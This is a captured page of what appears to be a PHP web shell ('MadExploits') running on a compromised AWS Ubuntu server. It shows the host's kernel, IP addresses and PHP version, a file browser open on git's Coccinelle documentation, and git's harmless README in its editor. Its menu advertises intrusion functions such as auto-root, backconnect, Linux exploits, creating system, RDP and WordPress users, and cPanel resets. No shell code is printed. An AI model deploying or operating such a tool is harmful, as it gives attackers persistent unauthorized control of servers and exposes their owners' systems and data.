Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.119.99.38
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
git /
contrib /
coccinelle /
[ HOME SHELL ]
Name
Size
Permission
Action
README
2.08
KB
-rw-r--r--
array.cocci
1.19
KB
-rw-r--r--
commit.cocci
762
B
-rw-r--r--
flex_alloc.cocci
266
B
-rw-r--r--
free.cocci
146
B
-rw-r--r--
hashmap.cocci
280
B
-rw-r--r--
object_id.cocci
1.25
KB
-rw-r--r--
preincr.cocci
50
B
-rw-r--r--
qsort.cocci
610
B
-rw-r--r--
strbuf.cocci
867
B
-rw-r--r--
swap.cocci
280
B
-rw-r--r--
the_repository.pending.cocci
1.99
KB
-rw-r--r--
xstrdup_or_null.cocci
161
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README
This directory provides examples of Coccinelle (http://coccinelle.lip6.fr/) semantic patches that might be useful to developers. There are two types of semantic patches: * Using the semantic transformation to check for bad patterns in the code; The target 'make coccicheck' is designed to check for these patterns and it is expected that any resulting patch indicates a regression. The patches resulting from 'make coccicheck' are small and infrequent, so once they are found, they can be sent to the mailing list as per usual. Example for introducing new patterns: 67947c34ae (convert "hashcmp() != 0" to "!hasheq()", 2018-08-28) b84c783882 (fsck: s/++i > 1/i++/, 2018-10-24) Example of fixes using this approach: 248f66ed8e (run-command: use strbuf_addstr() for adding a string to a strbuf, 2018-03-25) f919ffebed (Use MOVE_ARRAY, 2018-01-22) These types of semantic patches are usually part of testing, c.f. 0860a7641b (travis-ci: fail if Coccinelle static analysis found something to transform, 2018-07-23) * Using semantic transformations in large scale refactorings throughout the code base. When applying the semantic patch into a real patch, sending it to the mailing list in the usual way, such a patch would be expected to have a lot of textual and semantic conflicts as such large scale refactorings change function signatures that are used widely in the code base. A textual conflict would arise if surrounding code near any call of such function changes. A semantic conflict arises when other patch series in flight introduce calls to such functions. So to aid these large scale refactorings, semantic patches can be used. However we do not want to store them in the same place as the checks for bad patterns, as then automated builds would fail. That is why semantic patches 'contrib/coccinelle/*.pending.cocci' are ignored for checks, and can be applied using 'make coccicheck-pending'. This allows to expose plans of pending large scale refactorings without impacting the bad pattern checks.
Close